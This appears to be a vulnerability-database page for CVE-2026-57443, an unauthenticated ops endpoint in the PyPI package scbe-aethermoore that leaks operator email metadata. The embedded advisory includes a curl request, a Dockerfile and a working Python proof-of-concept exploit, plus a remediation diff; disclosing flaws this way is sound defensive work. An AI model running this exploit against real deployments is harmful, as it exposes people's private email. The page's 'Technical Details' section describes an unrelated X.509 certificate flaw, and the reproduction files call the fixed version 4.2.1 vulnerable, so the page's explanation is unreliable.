CVE-2026-57443: Scbe aethermoore SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Vulnerability
HIGHCVE-2026-57443 is a HIGH (CVSS 7.5) scbe-aethermoore unauthenticated aetherbrowser ops api vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Scbe aethermoore libraries in the PyPI ecosystem. The issue involves scbe-aethermoore unauthenticated aetherbrowser ops api exposes operator email digests. Remediation is available by upgrading affected packages to version 4.2.1.
CVE-2026-57443 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-57443
To remediate this vulnerability, upgrade all affected Scbe aethermoore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install scbe-aethermoore>=4.2.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show scbe-aethermoore
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-57443, inspect your installed packages using pip:
pip show scbe-aethermoore
Analyze the terminal output to locate any version of Scbe aethermoore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.1), your application is affected.
Note: The pip show scbe-aethermoore command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Scbe aethermoore failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-57443 Affected Scbe aethermoore Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
scbe-aethermoore
|
PyPI |
≥ 4.0.2
< 4.2.1
|
4.2.1
|
References
Frequently Asked Questions
What is CVE-2026-57443?
Which Scbe aethermoore versions are affected?
What version fixes CVE-2026-57443?
Is scbe-aethermoore affected?
What is the CVSS score of CVE-2026-57443?
What CWE is associated with CVE-2026-57443?
How can I check PyPI dependencies for CVE-2026-57443?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q986-4x7x-gx39",
"modified" : "2026-09-25T21:48:03Z",
"published" : "2026-09-25T21:48:03Z",
"aliases" : [ "CVE-2026-57443" ],
"summary" : "SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests",
"details" : "### Summary\n\nThe AetherBrowser API server (`scripts/aetherbrowser/api_server.py`) exposes the `POST /api/ops/check-email` endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the `email_reader.py` subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to `0.0.0.0:8100` by default with CORS set to `allow_origins=[\"*\"]`, making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.\n\n### Details\n\n`scripts/aetherbrowser/api_server.py` registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):\n\n```python\n@app.post(\"/api/ops/check-email\")\nasync def ops_check_email():\n script = ROOT / \"scripts\" / \"apollo\" / \"email_reader.py\"\n result = await asyncio.to_thread(\n _run_subprocess,\n [sys.executable, str(script)],\n timeout=30,\n )\n return {\n \"output\": result.get(\"stdout\", \"\")[:2000],\n ...\n }\n```\n\nNo `Depends()` guard, middleware check, or API-key validation is applied. The decorator is a plain `@app.post(...)`, so FastAPI registers the route with zero access control.\n\nThe server is bound to all interfaces (line 4065/4070):\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port) # default port 8100\n```\n\nCORS middleware is configured to allow any origin (lines 486–492):\n\n```python\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n ...\n)\n```\n\nWhen the endpoint is called, `email_reader.py` is executed as a subprocess. It loads mail credentials from `config/connector_oauth/.env.connector.oauth` (line 29–34 of `email_reader.py`):\n\n```python\n# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.\n```\n\nWith credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.\n\n**Complete data-flow path:**\n\n1. `api_server.py:4065+4070` — server starts on `0.0.0.0:8100`\n2. `api_server.py:486–492` — CORS `allow_origins=[\"*\"]` permits cross-origin requests\n3. `api_server.py:3008` — `POST /api/ops/check-email` registered without auth\n4. `api_server.py:3011–3023` — `_run_subprocess([sys.executable, str(script)])` invoked; stdout captured\n5. `email_reader.py:29–34` — connector env file loaded, credentials extracted\n6. `email_reader.py:378–394` — IMAP login using `PROTONMAIL_BRIDGE_PASSWORD` / `GMAIL_APP_PASSWORD`\n7. `email_reader.py:273–299` — RFC822 messages fetched; sender, subject, snippet printed to stdout\n8. `api_server.py:3023` — `stdout[:2000]` returned in JSON response to caller\n\nEven without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the attacker or test machine.\n- Repository source available under `repo/` within the build context.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n```\n\nThe Dockerfile (`vuln-001/Dockerfile`) installs `fastapi`, `uvicorn`, and `pydantic`, copies the repository source, and starts `scripts/aetherbrowser/api_server.py` on port 8100.\n\n**Step 2 — Start the container:**\n\n```bash\ndocker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser\n```\n\n**Step 3 — Run the PoC script:**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8100\n```\n\nOr send the request manually with no authentication headers:\n\n```bash\ncurl -s -X POST http://127.0.0.1:8100/api/ops/check-email \\\n -H 'Content-Type: application/json' \\\n -d '{}'\n```\n\n**Expected result (no credentials configured):**\n\n```json\n{\n \"output\": \"APOLLO EMAIL READER\\n============================================================\\n [ProtonMail] No PROTONMAIL_BRIDGE_PASSWORD set\\n [Gmail] No GMAIL_APP_PASSWORD set\\n\\nNo emails found.\\n\",\n \"exit_code\": 0,\n \"errors\": null\n}\n```\n\nHTTP status 200 is returned with no `401` or `403`, and the subprocess stdout appears in the response. In a production deployment with `PROTONMAIL_BRIDGE_PASSWORD` or `GMAIL_APP_PASSWORD` set, the response would contain real email metadata (senders, subjects, body snippets).\n\n**Dynamic test result (Phase 2):**\n\nThe Phase 2 dynamic test confirmed HTTP 200 with the `APOLLO EMAIL READER` banner in the response body. Server access log showed `\"POST /api/ops/check-email HTTP/1.1\" 200 OK` from an unauthenticated source. The subprocess was executed without any authentication gate being triggered.\n\n**Remediation:**\n\nAdd a mandatory API-key dependency to all `/api/ops/*` routes:\n\n```diff\n-from fastapi import FastAPI, HTTPException, Query, Request\n+from fastapi import Depends, FastAPI, Header, HTTPException, Query, Request, status\n\n+def require_ops_api_key(x_api_key: Optional[str] = Header(default=None)) -> None:\n+ expected = os.environ.get(\"AETHERBROWSER_OPS_API_KEY\", \"\").strip()\n+ if not expected:\n+ raise HTTPException(\n+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,\n+ detail=\"ops endpoints disabled: AETHERBROWSER_OPS_API_KEY is not configured\",\n+ )\n+ if not x_api_key or not hmac.compare_digest(x_api_key, expected):\n+ raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail=\"invalid ops API key\")\n\n-@app.post(\"/api/ops/check-email\")\n+@app.post(\"/api/ops/check-email\", dependencies=[Depends(require_ops_api_key)])\n async def ops_check_email():\n```\n\nAdditionally, the server should default to `127.0.0.1` instead of `0.0.0.0`, and stdout from operational subprocesses should never be returned verbatim to callers.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach port 8100 of a deployed SCBE-AETHERMOORE instance can:\n\n1. **Exfiltrate operator email metadata**: sender addresses, email subjects, and body snippets from the operator's ProtonMail or Gmail inbox are disclosed in the response.\n2. **Enumerate mail configuration**: even without active credentials, the API reveals which mail providers are configured and prints diagnostic output from internal tooling.\n3. **Trigger repeated IMAP sessions**: repeated calls to the endpoint cause repeated IMAP logins using the stored credentials, potentially generating account alerts or exhausting connection limits.\n\nThe vulnerability affects any deployment where `scripts/aetherbrowser/api_server.py` is running and reachable from an untrusted network. Because the server binds to `0.0.0.0` by default with wildcard CORS, cloud deployments and developer machines with exposed ports are directly affected. No credentials, tokens, or prior knowledge of the application are required by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unauthenticated /api/ops/check-email endpoint\n# Reproduces CWE-306 (Missing Authentication for Critical Function) in\n# SCBE-AETHERMOORE api_server.py v4.2.1\n#\n# Build context: pypiAi_1296_issdandavis__SCBE-AETHERMOORE/ (parent of vuln-001/)\n# Build: docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n# Run: docker run --rm -p 8100:8100 vuln001-aetherbrowser\n\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install only the packages required for api_server.py to start.\n# All other imports (asyncio, subprocess, pathlib, etc.) are stdlib.\nRUN pip install --no-cache-dir \\\n \"fastapi>=0.100.0\" \\\n \"uvicorn[standard]>=0.27.0\" \\\n \"pydantic>=2.0.0\"\n\n# Copy the repository source.\n# The build context is the report root (parent directory of vuln-001/).\nCOPY repo/ /app/\n\nEXPOSE 8100\n\n# Start the AetherBrowser API server on all interfaces at port 8100.\n# This replicates the production start command documented in api_server.py line 6-8.\nCMD [\"python\", \"scripts/aetherbrowser/api_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email\n\nCWE-306 — Missing Authentication for Critical Function\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)\n\nTarget: scripts/aetherbrowser/api_server.py (SCBE-AETHERMOORE v4.2.1)\n\nThis PoC demonstrates that:\n 1. POST /api/ops/check-email is accessible without any authentication token.\n 2. The server responds with HTTP 200 instead of 401/403.\n 3. The email-reading subprocess (email_reader.py) is executed and its stdout\n is returned verbatim in the JSON response — confirming the unauthenticated\n code path reaches the sensitive subprocess.\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8100]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nTIMEOUT = 10\n\n\ndef wait_for_server(host: str, port: int, max_wait: int = 30) -> bool:\n \"\"\"Poll the health endpoint until the server is ready.\"\"\"\n url = f\"http://{host}:{port}/api/health\"\n deadline = time.time() + max_wait\n while time.time() < deadline:\n try:\n with urllib.request.urlopen(url, timeout=2) as resp:\n if resp.status < 500:\n return True\n except Exception:\n pass\n time.sleep(1)\n return False\n\n\ndef send_unauthenticated_request(host: str, port: int) -> dict:\n \"\"\"Send POST /api/ops/check-email with NO authentication headers.\"\"\"\n url = f\"http://{host}:{port}/api/ops/check-email\"\n req = urllib.request.Request(\n url,\n data=b\"{}\",\n method=\"POST\",\n headers={\"Content-Type\": \"application/json\"},\n # NOTE: No Authorization header, no X-API-Key, no session cookie.\n )\n try:\n with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n return {\"status\": resp.status, \"body\": body}\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(\"utf-8\", errors=\"replace\")\n return {\"status\": exc.code, \"body\": body}\n except Exception as exc:\n return {\"status\": -1, \"body\": str(exc)}\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC — unauthenticated check-email\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8100)\n args = parser.parse_args()\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Unauthenticated /api/ops/check-email\")\n print(\"=\" * 60)\n print(f\"Target: http://{args.host}:{args.port}/api/ops/check-email\")\n print()\n\n # Wait for the server to be ready.\n print(\"[*] Waiting for server to become ready ...\")\n if not wait_for_server(args.host, args.port):\n print(\"[!] Server did not become ready within 30 s — check the container\")\n return 1\n print(\"[+] Server is up\")\n print()\n\n # Send the unauthenticated exploit request.\n print(\"[*] Sending unauthenticated POST /api/ops/check-email ...\")\n result = send_unauthenticated_request(args.host, args.port)\n status = result[\"status\"]\n body = result[\"body\"]\n\n print(f\"[*] HTTP status: {status}\")\n print()\n print(\"[*] Response body (first 1500 chars):\")\n print(\"-\" * 60)\n print(body[:1500])\n print(\"-\" * 60)\n print()\n\n # Parse the JSON response if possible.\n output_field = \"\"\n try:\n parsed = json.loads(body)\n output_field = parsed.get(\"output\", \"\")\n except Exception:\n output_field = \"\"\n\n # Determine pass/fail.\n # PASS criteria:\n # (a) HTTP 200 — the request was NOT rejected with a 401/403.\n # (b) The response body contains the email-reader banner string\n # \"APOLLO EMAIL READER\", proving the subprocess was invoked.\n # Note: Without real IMAP credentials the reader will print the banner\n # and report \"No PROTONMAIL_BRIDGE_PASSWORD set\" / \"No GMAIL_APP_PASSWORD set\".\n # With real credentials it would return live email metadata.\n\n crit_auth = (status == 200)\n crit_subprocess = (\"APOLLO EMAIL READER\" in output_field or \"APOLLO EMAIL READER\" in body)\n\n print(\"[*] Criteria evaluation:\")\n print(f\" (a) HTTP 200 returned (no auth gate): {'PASS' if crit_auth else 'FAIL'} (got {status})\")\n print(f\" (b) Subprocess executed (banner in response): {'PASS' if crit_subprocess else 'FAIL'}\")\n print()\n\n if crit_auth and crit_subprocess:\n print(\"[PASS] Vulnerability confirmed: POST /api/ops/check-email\")\n print(\" is reachable without authentication and the email-reading\")\n print(\" subprocess is executed, returning its output to the caller.\")\n return 0\n elif crit_auth and not crit_subprocess:\n # Still a valid PASS for the auth-bypass aspect; subprocess may have\n # errored out but the missing authentication is proven.\n print(\"[PASS] Auth bypass confirmed: HTTP 200 without credentials.\")\n print(\" Subprocess output not captured (may have crashed), but\")\n print(\" the endpoint is unauthenticated — CWE-306 is confirmed.\")\n return 0\n else:\n print(\"[FAIL] Could not confirm the vulnerability.\")\n print(f\" HTTP status was {status} — expected 200.\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "scbe-aethermoore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.2"
}, {
"fixed" : "4.2.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE/security/advisories/GHSA-q986-4x7x-gx39"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-57443"
}, {
"type" : "WEB",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE/pull/2287"
}, {
"type" : "WEB",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE/commit/ca833795e01eab060e92572e5f667c0c136b8c1e"
}, {
"type" : "WEB",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE/commit/de7779b722c501dbcf4eae95dd51bb3984506fb1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE"
}, {
"type" : "WEB",
"url" : "https://github.com/issdandavis/SCBE-AETHERMOORE/releases/tag/v4.2.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-25T21:48:03Z",
"nvd_published_at" : "2026-09-25T21:17:23Z"
}
}